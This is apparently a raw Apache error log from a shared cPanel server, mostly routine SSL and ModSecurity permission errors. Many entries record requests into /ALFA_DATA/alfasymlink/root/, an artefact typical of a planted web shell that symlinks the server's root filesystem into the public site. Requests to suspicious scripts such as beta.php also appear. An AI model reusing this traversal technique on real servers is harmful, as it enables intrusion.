[Mon Oct 26 05:32:47.768342 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 50.16.248.61:15170] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:51.988966 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 18.210.58.238:47942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:55.766967 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 23.23.103.31:51311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:32:59.829970 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 3.211.105.134:43445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/type
[Mon Oct 26 05:33:07.847710 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 44.205.180.155:6260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:33:15.751614 2026] [core:error] [pid 3003501:tid 3003501] (13)Permission denied: [client 3.222.190.107:24882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/resource4
[Mon Oct 26 05:33:23.698919 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 18.213.102.186:5931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:33:24.858573 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8eWaQ6Y5B7MWdQ1CPmtgAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:33:24.858629 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8eWaQ6Y5B7MWdQ1CPmtgAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:33:31.842525 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.91.122.193:57689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:33:31.842707 2026] [security2:error] [pid 3002822:tid 3002822] [client 54.91.122.193:57689] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory11/node0/memory5/subsystem/devices/memory10/uevent"] [unique_id "at8eawPZVv3Il2lbVePuowAAAAQ"]
[Mon Oct 26 05:33:31.842737 2026] [security2:error] [pid 3002822:tid 3002822] [client 54.91.122.193:57689] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory11/node0/memory5/subsystem/devices/memory10/uevent"] [unique_id "at8eawPZVv3Il2lbVePuowAAAAQ"]
[Mon Oct 26 05:33:36.087240 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 52.22.64.232:53173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:33:43.746530 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.220.2.97:59371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:33:47.718557 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 98.84.70.201:23274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:33:51.684583 2026] [core:error] [pid 3007413:tid 3007413] (13)Permission denied: [client 3.213.85.234:17245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/physical_node/driver/cpu0/node0/memory14/subsystem/uevent
[Mon Oct 26 05:33:56.091037 2026] [ssl:error] [pid 3002822:tid 3002822] (95)Operation not supported: [client 34.234.200.207:16932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:12.169374 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 44.193.115.232:6629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:15.301536 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 85.208.96.207:16598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/irqbypass/sections/__mcount_loc
[Mon Oct 26 05:34:24.038914 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 18.208.11.93:62626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:35.868225 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 18.206.47.187:2341] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:39.974647 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 100.28.118.16:39394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:48.056006 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.211.105.134:30245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:51.646524 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 23.21.250.48:40643] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:34:56.068514 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8esqQ6Y5B7MWdQ1CPmvAAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:34:56.068575 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8esqQ6Y5B7MWdQ1CPmvAAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:35:11.701622 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 107.20.255.194:31641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:35:19.715775 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 107.20.181.148:4263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:35:27.823487 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 184.73.195.18:21546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:35:48.002651 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.217.82.254:63129] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:00.777861 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 3.212.86.97:58143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/uhci_hcd/new_id
[Mon Oct 26 05:36:04.136225 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 44.205.180.155:47478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:07.894469 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 18.232.36.1:56941] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:11.830184 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 54.204.62.163:29635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:15.875814 2026] [security2:error] [pid 3003467:tid 3003467] [client 107.172.76.131:52762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8fApuIQjmomBX6543VaAAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 05:36:15.875923 2026] [security2:error] [pid 3003467:tid 3003467] [client 107.172.76.131:52762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8fApuIQjmomBX6543VaAAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 05:36:15.938790 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 98.82.66.172:9702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:27.994655 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.94.157.25:47667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:32.979597 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 98.83.72.38:23858] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:36.682946 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 3.224.104.67:49884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:39.752698 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 34.224.132.215:53896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/line
[Mon Oct 26 05:36:46.801109 2026] [core:error] [pid 3007413:tid 3007413] (13)Permission denied: [client 185.191.171.13:54334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/sanity_checks
[Mon Oct 26 05:36:51.858012 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.197.178.107:37566] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:55.842033 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 44.207.207.36:7773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:36:58.851079 2026] [security2:error] [pid 3003467:tid 3003467] [client 107.172.76.131:52762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8fLZuIQjmomBX6543VawAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 05:36:58.851125 2026] [security2:error] [pid 3003467:tid 3003467] [client 107.172.76.131:52762] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8fLZuIQjmomBX6543VawAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 05:36:59.606481 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 54.235.172.108:23559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:09.366631 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.214.19.8:40419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:11.492119 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 44.215.231.15:14407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:19.525933 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 44.207.69.106:16224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:23.479534 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 184.72.95.195:30759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:26.885808 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 185.191.171.5:40194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:27.494351 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 18.207.79.144:49230] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:35.396804 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 3.212.219.113:14176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:43.474477 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 3.213.85.234:59924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:51.513333 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 100.29.63.24:7010] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:55.362130 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 184.73.239.35:8465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:37:59.304502 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 44.223.232.55:30031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:02.393194 2026] [authz_core:error] [pid 3000155:tid 3000155] [client 144.31.134.95:46452] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 05:38:03.365553 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 35.170.205.140:59288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:07.424110 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 34.205.170.13:2185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:19.330394 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.204.150.196:48990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:23.407561 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.21.62.139:45560] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:31.161890 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 44.221.37.41:28889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:35.258240 2026] [ssl:error] [pid 3007564:tid 3007564] (70014)End of file found: [client 23.23.137.202:7096] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:47.352449 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 3.213.46.222:19442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:51.164487 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.204.37.237:12606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:38:54.987894 2026] [core:error] [pid 3007564:tid 3007564] (13)Permission denied: [client 52.2.191.202:29115] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory7/subsystem/drivers_probe
[Mon Oct 26 05:38:59.151369 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 44.193.102.198:50994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:02.952318 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 52.71.203.206:36120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:11.009653 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 98.84.70.201:27659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:18.796066 2026] [security2:error] [pid 3000181:tid 3000181] [client 3.218.103.254:7866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata1/"] [unique_id "at8fxgi6J9hoqgXMIYooLwAAAB0"]
[Mon Oct 26 05:39:18.796132 2026] [security2:error] [pid 3000181:tid 3000181] [client 3.218.103.254:7866] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata1/"] [unique_id "at8fxgi6J9hoqgXMIYooLwAAAB0"]
[Mon Oct 26 05:39:22.791636 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.206.93.215:57755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:34.854315 2026] [core:error] [pid 3000181:tid 3000181] (13)Permission denied: [client 3.221.50.71:2322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/button/bind
[Mon Oct 26 05:39:38.641559 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 18.213.70.100:31880] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:42.810498 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 54.84.102.81:48556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/remove_id
[Mon Oct 26 05:39:46.594077 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 44.195.50.71:36288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:50.704337 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 107.20.224.184:25981] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:50.730626 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 185.191.171.14:63406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/poison
[Mon Oct 26 05:39:54.456925 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.235.191.179:1788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:39:58.429493 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 3.210.223.61:59943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:02.467183 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 44.193.115.232:28344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:06.347893 2026] [core:error] [pid 3000181:tid 3000181] (13)Permission denied: [client 54.235.172.96:33261] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:02.0/resource0_wc
[Mon Oct 26 05:40:10.345066 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 52.3.104.214:19667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:14.268192 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8f8KQ6Y5B7MWdQ1CPm0gAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:40:14.268251 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8f8KQ6Y5B7MWdQ1CPm0gAAAAY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 05:40:14.378014 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 44.210.213.220:28529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/closing_wait
[Mon Oct 26 05:40:26.382068 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 52.205.141.124:51064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:30.308593 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 3.222.190.107:32407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:34.386007 2026] [ssl:error] [pid 2995190:tid 2995190] (5)Input/output error: [client 54.83.56.1:61637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:35.058506 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 185.191.171.7:58928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:42.213804 2026] [ssl:error] [pid 3004471:tid 3004471] (70014)End of file found: [client 3.210.223.61:39907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:40:47.501683 2026] [core:error] [pid 3007564:tid 3007564] (13)Permission denied: [client 185.191.171.15:60050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS0/type
[Mon Oct 26 05:40:50.282039 2026] [core:error] [pid 3000155:tid 3000155] (13)Permission denied: [client 34.239.85.139:43189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/uevent
[Mon Oct 26 05:40:56.292987 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 85.208.96.205:50926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-96/red_zone
[Mon Oct 26 05:41:02.180984 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 54.88.84.219:2714] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:41:06.236386 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 34.205.170.13:40916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_generic/module/drivers/pci:ata_generic/remove_id
[Mon Oct 26 05:41:22.185649 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 50.17.193.48:22838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:41:31.525641 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 44.215.231.15:50384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:41:34.194988 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.220.148.166:32894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:41:38.198270 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 34.202.88.37:24693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:41:42.315118 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 3.214.176.44:26268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input3/device/driver/serio1/drvctl
[Mon Oct 26 05:41:54.379470 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 44.221.105.234:59017] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:42:02.158453 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.195.50.71:40308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:42:22.241233 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 23.21.119.232:56890] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:42:30.201048 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 34.196.237.236:10148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:42:33.067696 2026] [core:error] [pid 3008090:tid 3008090] (13)Permission denied: [client 85.208.96.204:18704] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/free_calls
[Mon Oct 26 05:42:34.685008 2026] [authz_core:error] [pid 3000155:tid 3000155] [client 20.53.239.152:2669] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 05:42:41.180048 2026] [security2:error] [pid 3000155:tid 3000155] [client 20.53.239.152:2669] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "www.curso-de-ventas.com"] [uri "/iko.php"] [unique_id "at8gkcSU-1yln6Gx7K9B0wAAABE"]
[Mon Oct 26 05:42:41.180112 2026] [security2:error] [pid 3000155:tid 3000155] [client 20.53.239.152:2669] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "www.curso-de-ventas.com"] [uri "/iko.php"] [unique_id "at8gkcSU-1yln6Gx7K9B0wAAABE"]
[Mon Oct 26 05:42:42.185145 2026] [ssl:error] [pid 3008090:tid 3008090] (70014)End of file found: [client 3.217.82.254:31893] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:42:54.166693 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 23.21.225.190:31822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:43:06.159618 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 44.223.232.55:38367] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:43:14.301316 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 50.19.221.48:21269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:43:22.548296 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 44.205.120.22:20419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:43:26.184254 2026] [ssl:error] [pid 3003501:tid 3003501] (70014)End of file found: [client 18.214.124.6:39234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:43:42.188534 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 107.20.255.194:58279] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:43:48.271318 2026] [core:error] [pid 3003501:tid 3003501] (13)Permission denied: [client 185.191.171.1:65334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objects_partial
[Mon Oct 26 05:43:58.159387 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.3.127.170:59175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:44:01.459476 2026] [security2:error] [pid 3004471:tid 3004471] [client 43.156.37.91:41732] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2/"] [unique_id "at8g4foFFV7OcZC6dvenWAAAAAk"]
[Mon Oct 26 05:44:02.289569 2026] [core:error] [pid 3000185:tid 3000185] (13)Permission denied: [client 54.84.161.62:51329] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/hpet/unbind
[Mon Oct 26 05:44:06.156952 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 44.206.93.215:31584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:44:07.400319 2026] [proxy_fcgi:error] [pid 3007564:tid 3007564] [client 159.65.202.16:60713] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 05:44:10.153247 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 52.200.93.170:60638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 05:44:14.227442 2026] [ssl:error] [pid 3007413:tid 3007413] (70014)End of file found: [client 54.91.122.193:36523] AH02013: coalesce failed to read from data bucket
